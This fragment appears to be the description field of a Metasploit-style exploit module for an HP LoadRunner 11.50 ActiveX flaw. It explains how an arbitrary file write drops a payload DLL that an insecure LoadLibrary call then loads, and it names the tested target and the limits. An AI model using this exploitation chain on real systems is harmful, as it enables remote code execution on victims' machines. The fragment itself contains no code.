'Description' => %q{

This module exploits a vulnerability on the lrFileIOService ActiveX, as installed

with HP LoadRunner 11.50. The vulnerability exists in the WriteFileString method,

which allow the user to write arbitrary files. It's abused to drop a payload

embedded in a dll, which is later loaded through the Init() method from the

lrMdrvService control, by abusing an insecure LoadLibrary call. This module has

been tested successfully on IE8 on Windows XP. Virtualization based on the Low

Integrity Process, on Windows Vista and 7, will stop this module because the DLL

will be dropped to a virtualized folder, which isn't used by LoadLibrary.
